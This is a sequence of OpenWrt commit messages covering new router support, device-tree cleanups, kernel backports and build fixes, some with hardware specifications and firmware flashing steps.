Fixes: ce958dd88a ("kernel: Update kernel 4.14 to version 4.14.187")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
On a system python3 is linked to python3.6, fail to perform json_overview_image_info
and got `TypeError: __init__() got an unexpected keyword argument 'capture_output'`.
This patch emulate the behaviour on python 3.7+.
Signed-off-by: Huangbin Zhan <zhanhb88@gmail.com>
This updates mconf.c readme message to maintain less changes with
upstream and consistency with nconf.c
Signed-off-by: Sergio E. Nemirowski <sergio@outerface.net>
Fixes following build failures:
WARNING: Image file glinet_gl-ar750s-nor-kernel.bin is too big
WARNING: Image file glinet_gl-ar750s-nor-nand-kernel.bin is too big
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Upstream in commit 972d723484d8 ("split signkey_type and signature_type
for RSA sha1 vs sha256") has added strict checking of pubkey algorithms
which made keys with SHA-256 hashing algorithm unusable as they still
reuse the `ssh-rsa` public key format. So fix this by disabling the
check for `rsa-sha2-256` pubkeys.
Ref: https://tools.ietf.org/html/rfc8332#section-3
Fixes: d4c80f5b17 ("dropbear: bump to 2020.80")
Tested-by: Russell Senior <russell@personaltelco.net>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This moves WiFi LED triggers from 01_leds to device tree.
While at it, convert the labels there to lower case; this is
more commonly used and the change will actually remove competition
between DT trigger and leftover uci config on already installed
systems.
Suggested-by: Georgi Vlaev <georgi.vlaev@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As the reported major bugs are ironed out, switch to the new kernel to
begin testing with a broader audience.
Signed-off-by: David Bauer <mail@david-bauer.net>
Acked-by: Hauke Mehrtens <hauke@hauke-m.de>
Only enable the testing-kernel feature for the target when the testing
kernel version does not match the stable kernel version.
This way, the option for building the testing kernel in the build config
menu is only exposed when there's a testing kernel available.
Signed-off-by: David Bauer <mail@david-bauer.net>
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fix inconsistencies found in DTS files and sort ethernet ports based on
updated names.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
[squash two separate patches, rephrase commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This device uses the same hardware as RE650 v1 which got supported in
8c51dde.
Hardware specification:
- SoC 880 MHz - MediaTek MT7621AT
- 128 MB of DDR3 RAM
- 16 MB - Winbond 25Q128FVSG
- 4T4R 2.4 GHz - MediaTek MT7615E
- 4T4R 5 GHz - MediaTek MT7615E
- 1x 1 Gbps Ethernet - MT7621AT integrated
- 7x LEDs (Power, 2G, 5G, WPS(x2), Lan(x2))
- 4x buttons (Reset, Power, WPS, LED)
- UART header (J1) - 2:GND, 3:RX, 4:TX
Serial console @ 57600,8n1
Flash instructions:
Upload
openwrt-ramips-mt7621-tplink_re500-v1-squashfs-factory.bin
from the RE500 web interface.
TFTP recovery to stock firmware:
Unfortunately, I can't find an easy way to recover the RE
without opening the device and using modified binaries. The
TFTP upload will only work if selected from u-boot, which
means you have to open the device and attach to the serial
console. The TFTP update procedure does *not* accept the
published vendor firmware binaries. However, it allows to
flash kernel + rootfs binaries, and this works if you have
a backup of the original contents of the flash. It's probably
possible to create special image out of the vendor binaries
and use that as recovery image.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[remove dts-v1 in DTSI, do not touch WiFi LEDs for RE650, keep
state_default in DTS files, fix label-mac-device, use lower case
for WiFi LEDs]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Move the USB VBUS regulator nodes out of the GPIO controller node. This
fixes a problem where the "regulator-fixed" driver wasn't probed for
these regulators because the GPIO driver doesn't scan the child-nodes
and based on the dt-bindings documentation it's not supposed to.
This fixed the following error reported by Luca Olivetti:
...
dwc2 1e101000.usb: DWC OTG Controller
dwc2 1e101000.usb: new USB bus registered, assigned bus number 1
dwc2 1e101000.usb: irq 62, io mem 0x1e101000
dwc2 1e101000.usb: startup error -517
dwc2 1e101000.usb: USB bus 1 deregistered
dwc2 1e101000.usb: dwc2_hcd_init() FAILED, returning -517
Fixes: FS#1634
Cc: Luca Olivetti <luca@ventoso.org>
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Upstream commit 3d00da1de3 ("platform/x86: pcengines-apuv2: detect apuv4
board")
On 5.4, this module fails on APUv4 due to non-matching DMI data. With this
patch, the module will match DMI data for the APUv4.
Signed-off-by: Matthew Gyurgyik <matthew@gyurgyik.io>
[include upstream patch description]
Signed-off-by: David Bauer <mail@david-bauer.net>
Add missing switch config (4 LAN-Ports + CPU).
Grey WAN port (used for ADSL) is not part of the switch.
Signed-off-by: Lars Wessels <software@bytebox.org>
[rework commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
Set wifi mac from flash partition 'board_config' to
match the label on the device (Easybox 802).
Currently the wifi mac is always set to 00:0c:43:28:60:00.
eth0 and WiFi will now share the same mac (as in original firmware).
Signed-off-by: Lars Wessels <software@bytebox.org>
[improve commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
This can be useful when a DFS channel is configured, as the ACS channel
list is taken into account when switching channels after a radar event.
For example, this allows to prevent the SRD channels from being used in
that case.
Signed-off-by: Jan Hoffmann <jan@3e8.eu>
[reorder structure]
Signed-off-by: David Bauer <mail@david-bauer.net>
Reduce spi-max-frequency for ipTIME A8004T and disable
m25p,fast-read option.
A8004T uses `en25qh128` for the MTD.
This flash memory would allow 80MHz, sometimes kernel received
wrong id value in initramfs installed router.
(kernel expected `1c 70 18 1c 70 18`, but one of cases, it
was `9c 70 18 1c 70 18`)
In this case, openwrt can't detect the partition information,
it would write the inccorect data to the firmware partition and
also it would occur the bootlooping after sysupgrade.
Signed-off-by: Sunguk Lee <d3m3vilurr@gmail.com>
[minor commit title/message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All device DTS files in the target set the serial0 property to the
same value (*). So, let's move the definitions to the DTSI files.
That's also where the kernel defines it (qcom-ipq8064-v1.0.dtsi).
* The only exception is ipq8064-db149, which defines
"serial0 = &uart2;", but inside a block called "alias" instead of
"aliases". It must be assumed that this is broken anyway, so we
don't touch it here.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All device DTS files in the target set the stdout-path to the same
value. So, let's move the definitions to the DTSI files.
That's also where the kernel defines it (qcom-ipq8064-v1.0.dtsi).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, the DTSI files on ipq806x had a linear inheritance:
qcom-ipq8064.dtsi
v
qcom-ipq8064-v1.0.dtsi
v
qcom-ipq8064-v2.0.dtsi
v
qcom-ipq8065.dtsi
This poses problems when one wants to set something that is specific
to an architecture closer to the top of the tree.
In this patch, we remove the chain-like inheritance and have all
other files derived from qcom-ipq8064.dtsi (changing this name to
something more generic is not possible due to upstream use).
The removal of inheritance will require a few entries to be copied
from qcom-ipq8064-v2.0.dtsi to qcom-ipq8065.dtsi. However, it also
opens an opportunity for some clean-up:
- Many definitions can be improved by just using the innermost labels.
- Instead of disabling the CPU_SPC node for ipq8065, it is now off by
default and enabled where needed.
- Instead of patching phy-tx0-term-offset into qcom-ipq8064.dtsi and
then having it changed for qcom-ipq8064-v2.0/qcom-ipq8065, just have
the appropriate settings done in the lower DTSI files directly.
- For the opp_table0 adjustments for ipq8065, just redefine what's
changed, but don't add all the untouched properties again.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As almost same pinmux nodes are repeated in each device dts,
let's define them once in the ipq8064 dtsi and remove the rest.
* uart0_pins : Did not touch.
* i2c4_pins : This node seems to be not used at all in dts.
Added the most common form in the dtsi. Did not touch rpm_pins.
* spi_pins : The common mux node is already present in the dtsi.
Removed the duplicate nodes from dts.
* nand_pins : Moved the entire node.
* mdio0_pins : Moved the common mux node.
* rgmii2_pins: Moved the common mux node. "pins" property is overrided in ap161.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
There is one closing bracket too much.
Fixes: ce958dd88a ("kernel: Update kernel 4.14 to version 4.14.187")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
We are setting CONFIG_I2C_PXA is not set
If you do set pxa to y then you have issues if you do not have
CONFIG_I2C_PXA_SLAVE is not set
Fixes: dd13add3ce ("kernel: i2c-pxa: remove slave")
Signed-off-by: Scott Roberts <ttocsr@gmail.com>
The Buffalo Linkstation LS421DE has a chassis fan for cooling two internal
hard drives. Currently there is no control over this fan, running always
at fixed medium speed.
With the recent jump to the kernel 5.4, now we can monitor the hard drive
temperature and control the fan with thermal zones.
Install the kmod-hwmon-drivetemp module and wire up a thermal zone on the
dts file to allow automatic fan control by the kernel.
Tested succesfully using a single Crucial BX500 SSD drive.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Fixes:
- CVE-2020-10757
The "mtd: rawnand: Pass a nand_chip object to nand_release()" commit was
backported which needed some adaptations to other code.
Run tested: ath79
Build tested: ath79
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Fixes:
- CVE-2020-10757
The "mtd: rawnand: Pass a nand_chip object to nand_release()" commit was
backported which needed some adaptations to other code.
Build tested: ramips
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This resolves a hazard between a mtc0 and a mfc0 instruction after
activating the DSP support. Without this fix the CPU could use the old
value again and the DSP support would not be active.
Fixes: FS#2928, FS#2899
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ath79/tl-wdr3600; ath79/tl-wdr4300]
Tested-by: David Bauer <mail@david-bauer.net> [ocedo_koala/ocedo_raccoon]
Only collect arch_packages if actually generating any output.
Fixes: commit f09b9319 ("build,json: store arch_packages in profiles.json"(
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
Add support for the ar71xx supported GL.iNet GL-MiFi to ath79.
Specifications:
- Atheros AR9331
- 64 MB of RAM
- 16 MB of FLASH (SPI NOR)
- 2x 10/100/1000 Mbps Ethernet
- 2.4GHz (AR9330), 802.11b/g/n
- 1x USB 2.0 (vbus driven by GPIO)
- 4x LED, driven by GPIO
- 1x button (reset)
- 1x mini pci-e slot (vcc driven by GPIO)
Flash instructions:
Vendor software is based on openwrt so you can flash the sysupgrade
image via the vendor GUI or using command line sysupgrade utility.
Make sure to not save configuration over reflash as uci settings
differ between versions.
Note on MAC addresses:
Even though the platform is capable to providing separate MAC addresses
to the interfaces vendor firmware does not seem to take advantage of
that. It appears that there is only single unique pre-programmed
address in the art partition and vendor firmware uses that for
every interface (eth0/eth1/wlan0). Similar behaviour has also been
implemented in this patch.
Note on GPIOs:
In vendor firmware the gpio controlling mini pci-e slot is named
3gcontrol while it actually controls power supply to the entire mini
pci-e slot. Therefore a more descriptive name (minipcie) was chosen.
Also during development of this patch it became apparent that the
polarity of the signal is actually active low rather than active high
that can be found in vendor firmware.
Acknowledgements:
This patch is based on earlier work[1] done by Kyson Lok. Since the
initial mailing-list submission the patch has been modified to comply
with current openwrt naming schemes and dts conventions.
[1] http://lists.openwrt.org/pipermail/openwrt-devel/2018-September/019576.html
Signed-off-by: Antti Seppälä <a.seppala@gmail.com>
Based on "make kernel_menuconfig CONFIG_TARGET=generic" and 5.4.49
CONFIG_LEDS_TRIGGER_DISK has been removed by the refresh and added
back manually in order to not revert f93fcf8923 ("ipq806x: enable
disk-activity LED trigger").
Signed-off-by: John Audia <graysky@archlinux.us>
[extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Pogoplug V4 has a reset button on a GPIO pin.
To use it, kmod-gpio-button-hotplug package needs to be installed.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
All definitions of gpio in SoC DTSI files do not set status, i.e.
have it enabled. This drops all remaining redundant "status = okay"
definitions in descendent files (mostly older ones).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All other SoC DTSI files have gpio enabled by default, only
ar9330/ar9331 disable it by default, only to have it enabled again
afterwards for each individual device.
So, do not disable it in the first place, and drop all device-specific
status statements afterwards.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
SoC: AR9344
DRAM: 128MB DDR2
Flash: 16MB SPI-NOR
2 Gigabit ethernet ports
2×2 2.4GHz on-board radio
miniPCIe slot that supports 5GHz radio
PoE 48V IEEE 802.3af/at - 24V passive optional
USB 2.0 header
Installation:
To install, either start tftp in bin/targets/ath79/generic/ and use
the u-boot prompt over UART:
tftpboot 0x80500000 openwrt-ath79-generic-compex_wpj344-16m-squashfs-sysupgrade.bin
erase 0x9f030000 +$filesize
erase 0x9f680000 +1
cp.b $fileaddr 0x9f030000 $filesize
boot
The cpximg file can be used with sysupgrade in the stock firmware (add
SSH key in luci for root access) or with the built-in cpximg loader.
The cpximg loader can be started either by holding the reset button
during power up or by entering the u-boot prompt and entering 'cpximg'.
Once it's running, a TFTP-server under 192.168.1.1 will accept the image
appropriate for the board revision that is etched on the board.
For example, if the board is labelled '6A08':
tftp -v -m binary 192.168.1.1 -c put openwrt-ath79-generic-compex_wpj344-16m-squashfs-cpximg-6a08.bin
MAC addresses:
<&uboot 0x2e010> *:99 (label)
<&uboot 0x2e018> *:9a
<&uboot 0x2e020> *:9b
<&uboot 0x2e028> *:9c
Only the first two are used (for ethernet), the WiFi modules have
separate (valid) addresses. The latter two addresses are not used.
Signed-off-by: Leon M. George <leon@georgemail.eu>
[minor commit message adjustments, drop gpio in DTS, DTS style fixes,
sorting, drop unused cpximg recipe]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The `arch_packages` contains the supported package architecture.
Previously it was necessary to parse the `Packages` index for the line
`Architecture:`, requiring both an additional parser and file download.
Signed-off-by: Paul Spooren <mail@aparcar.org>
With this commit the `profiles.json` contain both the target specific
`default_packages` as well as the device specific `device_packages` as a
array of strings.
This information is required for downstream projects like the various
web-based interactive firmware generators.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
This replaces deprecated backticks by more versatile $(...) syntax.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
[add commit description]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces deprecated backticks by more versatile $(...) syntax.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
[add commit description]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link RE220 v2 is a wireless range extender with Ethernet and 2.4G and 5G
WiFi with internal antennas. It's based on MediaTek MT7628AN+MT7610EN.
This port of OpenWRT leverages work done by Andreas Böhler <dev@aboehler.at>
for the TP-Link RE200 v2 as both devices share the same SoC, flash layout
and GPIO pinout.
Specifications
MediaTek MT7628AN (580 Mhz)
64 MB of RAM
8 MB of FLASH
2T2R 2.4 GHz and 1T1R 5 GHz
1x 10/100 Mbps Ethernet
UART header on PCB (57600 8n1)
8x LED (GPIO-controlled), 2x button
There are 2.4G and 5G LEDs in red and green which are controlled separately.
Web Interface Installation
It is possible to upgrade to OpenWrt via the web interface. Simply flash
the -factory.bin from OEM. In contrast to a stock firmware, this will not
overwrite U-Boot.
Signed-off-by: Rowan Border <rowanjborder@gmail.com>
From upstream:
b8392808eb3f sch_cake: add RFC 8622 LE PHB support to CAKE diffserv handling
3f608f0c4136 sch_cake: fix a few style nits
8c95eca0bb8c sch_cake: don't call diffserv parsing code when it is not needed
9208d2863ac6 sch_cake: don't try to reallocate or unshare skb unconditionally
From netdev not yet accepted:
sch_cake: fix IP protocol handling in the presence of VLAN tags
The VLAN tag handling is actually wider than just cake so upstream are
working out how to fix it generically. We fix it here just for cake.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This was backported to 4.19 and I clearly expected it to land in 5.4 but
it didn't (5.5) so backport it to 5.4 for consistency.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Cudy WR1000 and Wavlink WL-WN577A2 store WAN as well as label MAC address
at the same position in flash.
Suggested-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: David Bauer <mail@david-bauer.net>
This package allows to read battery status information and control the
power state of the RAVPower RP-WD009 power management IC.
Signed-off-by: David Bauer <mail@david-bauer.net>
The RAVPower RP-WD009 is a batter-powered pocket sized router with SD
card lot and USB port.
Hardware
--------
CPU: MediaTek MT7628AN
RAM: 64M DDR2
FLASH: 16M GigaDevices SPI-NOR
WLAN: MediaTek MT7628AN 2T2R b/g/n
MediaTek MT7610E 1T1R n/ac
ETH: 1x FastEthernet
SD: SD Card slot
USB: USB 2.0
Custom PMIC on the I2C bus (address 0x0a).
Installation
------------
1. Press and hold down the reset button.
2. Power up the Device. Keep pressing the reset button for 10
more seconds until the Globe LED lights up.
3. Attach your Computer to the Ethernet port. Assign yourself the
address 10.10.10.1/24.
4. Access the recovery page at 10.10.10.128 and upload the OpenWrt
factory image.
5. The flashing will take around 1 minute. The device will reboot
automatically into OpenWrt.
Signed-off-by: David Bauer <mail@david-bauer.net>
The replaces the custom uImageArcher build step with the generic uImage
build step. The only different between these two is the difference in
the generated name.
Tested on: TP-Link Archer C59 v1
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit adds support for the Wavlink WL-WN577A2 (black case) dual-band
wall-plug wireless router. In Germany this device is sold under the brand
name Maginon WL-755 (white case):
Device specifications:
- CPU: MediaTek MT7628AN (580MHz)
- Flash: 8MB
- RAM: 64MB
- Bootloader: U-Boot
- Ethernet: 2x 10/100 Mbps (Ralink RT3050)
- 2.4 GHz: 802.11b/g/n SoC
- 5 GHz: 802.11a/n/ac MT7610E
- Antennas: internal
- 4 green LEDs: 1 programmable (WPS) + LAN, WAN, POWER
- Buttons: Reset, WPS
- Small sliding power switch
Flashing instructions (U-boot):
- Configure a TFTP server on your PC/Laptop and set its IP
to 192.168.10.100
- Rename the OpenWrt image to firmware.bin and place it in the
root folder of the TFTP server
- Power off (using the small sliding power switch on the left
side) the device and connect an ethernet cable from its LAN
or WAN port to your PC/Laptop
- Press the WPS button (and keep it pressed)
- Power on the device (using the small power switch)
- After a few seconds, when the WAN/LAN LED stops blinking
very fast, release the WPS button
- Flashing OpenWrt takes less than a minute, system will
reboot automatically
- After reboot the WPS LED will indicate the current OpenWrt
running status
Signed-off-by: Lars Wessels <software@bytebox.org>
[removed unused labels - fix whitespace errors - wrap commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
The Device/Default definition in mvebu defines an IMAGE/factory.img
which is not included in IMAGES, and only used twice in the
individual definitions. Move it out of the default definition
to keep it closer to the reassignment of IMAGES and make it more
consistent with respect to other values of IMAGE/factory.img
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Device/Default definition sets a default IMAGE/sysupgrade.bin,
but does not enable it by setting IMAGES. This is not consistent,
and has led to IMAGES being defined at various other places in the
file.
Thus, this patch consolidates the default value for IMAGES by putting
it in Device/Default. Since it's still overwritten where necessary,
this patch is cosmetic.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Device/Default definition sets a default IMAGE/sysupgrade.bin,
but does not enable it by setting IMAGES. This is not consistent,
and has led to IMAGES being defined at various other places in the
file.
Thus, this patch consolidates the default value for IMAGES by putting
it in Device/Default. Since it's still overwritten where necessary,
this patch is cosmetic.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For quite some time, the tiny (4M flash) TP-Link sysupgrade and
factory images cannot be built anymore by the buildbots, just
the initramfs-kernel.bin files are still there.
Disable these images for the buildbots and prevent useless builds.
Note that these devices still build fine with default settings,
even for kernel 5.4.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In 02_network, the board name solidrun,clearfog-a1 is used in a
case, but it does not seem to be used/exist anywhere else in OpenWrt.
The valid strings are:
- solidrun,clearfog-pro-a1
- solidrun,clearfog-base-a1
Fixes: 12795ec9f1 ("mvebu: split interface configuration for
clearfog pro and base")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Generate additional images that are compatible to the cpximg loader.
The cpximg loader can be started either by holding the reset button during
power up or by entering the u-boot prompt and entering 'cpximg'.
Once it's running, a TFTP-server under 192.168.1.1 will accept the image
appropriate for the board revision that is etched on the board.
For example, if the board is labelled '7A04':
tftp -v -m binary 192.168.1.1 -c put openwrt-ath79-generic-compex_wpj531-16m-squashfs-cpximg-7A04.bin
These files can also be used with the sysupgrade utility in stock images (add
SSH key in luci for root access).
Signed-off-by: Leon M. George <leon@georgemail.eu>
[fix sorting of definitions]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
SoC: QCA9531
DRAM: 128MB DDR2
Flash: 16MB SPI-NOR
2 100MBit ethernet ports
2×2 2.4GHz on-board radio
miniPCIe slot that supports 5GHz radio
PoE 24V - 48V IEEE 802.3af optional
USB 2.0 header
Installation:
To install, start a tftp server in bin/targets/ath79/generic/ and use the
u-boot prompt over UART:
tftpboot 0x80500000 openwrt-ath79-generic-compex_wpj531-16m-squashfs-sysupgrade.bin
erase 0x9f030000 +$filesize
erase 0x9f680000 +1
cp.b $fileaddr 0x9f030000 $filesize
boot
The cpximg file can be used with sysupgrade in the stock firmware (add SSH key
in luci for root access).
Another way is to hold the reset button during power up or running 'cpximg' in
the u-boot prompt.
Once the last LED starts flashing regularly, a TFTP-server under 192.168.1.1
will accept the image appropriate for the board revision that is etched on the
board.
For example, if the board is labelled '7A04':
tftp -v -m binary 192.168.1.1 -c put openwrt-ath79-generic-compex_wpj531-16m-squashfs-cpximg-7A04.bin
MAC addresses:
<&uboot 0x2e010> *:cb (label)
<&uboot 0x2e018> *:cc
<&uboot 0x2e020> *:cd
<&uboot 0x2e028> *:ce
Only the first two are used (for ethernet), the WiFi modules have
separate (valid) addresses. The latter two addresses are not used.
Signed-off-by: Leon M. George <leon@georgemail.eu>
[commit title/message facelift, fix rssileds, add led aliases]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 930f3c0148.
The build fails with the following build error:
arm-openwrt-linux-muslgnueabi-ld.bfd: drivers/built-in.o: in function `ide_init':
build_dir/target-arm_xscale_musl_eabi/u-boot-nsa310/u-boot-2020.04/drivers/block/ide.c:750: undefined reference to `ide_preinit'
make[4]: *** [Makefile:1700: u-boot] Error 1
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The WAC124 hardware appears to be identical to R6260/R6350/R6850.
SoC: MediaTek MT7621AT
RAM: 128M DDR3
FLASH: 128M NAND (Macronix MX30LF1G18AC)
WiFI: MediaTek MT7603 bgn 2T2R
MediaTek MT7615 nac 4T4R
ETH: SoC Integrated Gigabit Switch (1x WAN, 4x LAN)
USB: 1x USB 2.0
BTN: Reset, WPS
LED: Power, Internet, WiFi, USB (all green)
Installation:
The factory image can be flashed from the stock firmware web interface
or using nmrpflash. With nmrpflash it is also possible to revert to
stock firmware.
Signed-off-by: Jan Hoffmann <jan@3e8.eu>
This adds support for the Netgear R6080, aka Netgear AC1000.
The R6080 has almost the same hardware as the Netgear R6120,
aka Netgear AC1200, but it lacks the USB port, has only 8 MiB flash and
uses a different SERCOMM_HWID.
Specification:
SoC: MediaTek MT7628 (580 MHz)
Flash: 8 MiB
RAM: 64 MiB
Wireless: 2.4Ghz (builtin) and 5Ghz (MT7612E)
LAN speed: 10/100
LAN ports: 4
WAN speed: 10/100
WAN ports: 1
UART (57600 8N1) on PCB
Installation:
Flashing OpenWRT from stock firmware requires nmrpflash. Use an ethernet
cable to connect to LAN port 1 of the R6080, and power the R6080 off.
From the connected workstation, run
`nmrpflash -i eth0 -f openwrt-ramips-mt76x8-netgear_r6080-squashfs-factory.img`,
replacing eth0 with the appropriate interface (can be identified by
running `nmrpflash -L`). Then power on the R6080. After flashing has finished,
power cycle the R6080, and it will boot into OpenWRT. Once OpenWRT has been
installed, subsequent flashes can use the web interface and sysupgrade files.
Signed-off-by: Alex Lewontin <alex.c.lewontin@gmail.com>
[rebase and adjust for 5.4]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
switch-bcm53xx-mdio does not exists, use kmod-switch-bcm53xx-mdio
instead.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Cc: Tobias Schramm <tobleminer@gmail.com>
- Delete useless HDD presence inputs: they aren't buttons, and probably
they are outputs in the stock firmware.
- Change the Function Button keycode: the current one isn't mapped by
the kernel module.
- Use the recommended property names for the ethernet stuff.
- Add missing i2c pinmux.
- Minor cosmetic changes.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
All boards on xrx200 use builtin switch and there is no supported device
with external switch.
It was copy paste from xway subtarget and was added in commit 18b76c66fb.
Save 20.3 kB flash memory.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
This is fixed in 18.06, it appears again in 19.07.
Currently mt7628 sdcard driver do not support polling mode which is for
the device do not have card-detect pin to detect sd card insert. Without
this patch, device will not detect sdcard is inserted. This patch is a
fix of that.
Signed-off-by: Qin Wei <support@vocore.io>
Removing i2c pxa slave
The i2c-pxa is typically not use in slave mode. It does not make sense
to have slave mode enabled by default.
Having slave mode enabled prevents the i2c controller from being reset
if a real slave device such as an SFP is attached to the i2c-pxa bus and
locks it up.
Disable slave mode so that the i2c controller can be reset if the bus is
locked up.
If someone actually has a need for pxa slave mode this can be enabled in
kernel config.
Signed-off-by: Scott Roberts <ttocsr@gmail.com>
/lib/netifd/dhcp.script:
Keep support for 'timesvr' while also supporting 'timesrv'
Add log message indicating deprecation of 'timesvr'
Signed-off-by: Sukru Senli <sukru.senli@iopsys.eu>
the uboot of nsa310 cannot use the network chip
as it is a realtek on the PCIe lanes and not a
Marvell ethernet from the SoC.
Therefore tftp is not possible on this device
and the only way to install is by loading files
from a USB drive.
If the USB subsystem is dead there is no way to
install OpenWrt.
Enable sata support and commands so it can be
used as a fallback in case of USB issues.
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
With package "coreutil-sha256sum" installed "sysupgrade" fails to perform 'sha256sum -s' and instead returns 'invalid option -- 's''.
This is caused due to:
different syntax for a sha256sum status check ('sha256sum --status' with "coreutil-sha256sum")
'/usr/bin/sha256sum' being symlinked to '/usr/bin/gnu-sha256sum' (after installation of "coreutil-sha256sum")
"coreutil-sha256sum" package from the packages feed replaces the Busybox sha256sum
This patch restores for 'sysupgrade' the busybox call to its sha256sum applet.
Signed-off-by: Huangbin Zhan <zhanhb88@gmail.com>
Support Intel 10 Gigabit Ethernet Cards in x86/64 images by default.
This ensures that systems with cards such as the Intel x520 will work properly.
Signed-off-by: Gregory L. Dietsche <Gregory.Dietsche@cuw.edu>
With this change the LED subsystem is abused in the kernel to switch the
simswap. This change will be reverted, so we could use again the gpio
subsystem.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Add a module description for the new pcengnies-apu2 device driver.
This driver supports the front button and LEDs on the PC Engines
APUv2/APUv3 boards.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Remove leds-apu2 out of tree driver. There is a new upstream device gpio
and leds driver stack available for the APUv2 and APUv3 boards from pc
egnines. This new driver stack was add in kernel version 4.15.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
In ath79, for several SoCs the console bootargs are defined to the
very same value in every device's DTS. Consolidate these definitions
in the SoC dtsi files and drop further redundant definitions elsewhere.
The only device without any bootargs set has been OpenMesh OM5P-AC V2.
This will now inherit the setting from qca955x.dtsi
Note that while this tidies up master a lot, it might develop into a
frequent pitfall for backports.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
chosen/bootargs are defined to the same value in device DTS files
that is already set in the SoC DTSI. Remove the redundant definitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ath9k will already fallback on software-crypto for chipsets not
supporting IEEE802.11w (MFP). So advertising MFP is not dependent
on disabling HW crypto for all traffic entirely.
Tested on Sonicwall SonicPoint Ni (AR9132)
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit adds support for the AVM FRITZ!WLAN Repeater DVB-C
SOC: Qualcomm Atheros QCA9556
RAM: 64 MiB
FLASH: 16 MB SPI-NOR
WLAN: QCA9556 3T3R 2.4 GHZ b/g/n and
QCA9880 3T3R 5 GHz n/ac
ETH: Atheros AR8033 1000 Base-T
DVB-C: EM28174 with MaxLinear MXL251 tuner
BTN: WPS Button
LED: Power, WLAN, TV, RSSI0-4
Tested and working:
- Ethernet (correct MAC, gigabit, iperf3 about 200 Mbit/s)
- 2.4 GHz Wi-Fi (correct MAC)
- 5 GHz Wi-Fi (correct MAC)
- WPS Button (tested using wifitoggle)
- LEDs
- Installation via EVA bootloader (FTP recovery)
- OpenWrt sysupgrade (both CLI and LuCI)
- Download of "urlader" (mtd0)
Not working:
- Internal USB
- DVB-C em28174+MxL251 (depends on internal USB)
Installation via EVA bootloader (FTP recovery):
Set NIC to 192.168.178.3/24 gateway 192.168.178.1 and power on the device,
connect to 192.168.178.1 through FTP and sign in with adam2/adam2:
ftp> quote USER adam2
ftp> quote PASS adam2
ftp> binary
ftp> debug
ftp> passive
ftp> quote MEDIA FLSH
ftp> put openwrt-sysupgrade.bin mtd1
Wait for "Transfer complete" together with the transfer details.
Wait two minutes to make sure flash is complete (just to be safe).
Then restart the device (power off and on) to boot into OpenWrt.
Revert your NIC settings to reach OpenWrt at 192.168.1.1
Signed-off-by: Natalie Kagelmacher <nataliek@pm.me>
[fixed sorting - removed change to other board -
prettified commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
Backport patches which fix compile issue for uClibc-ng :
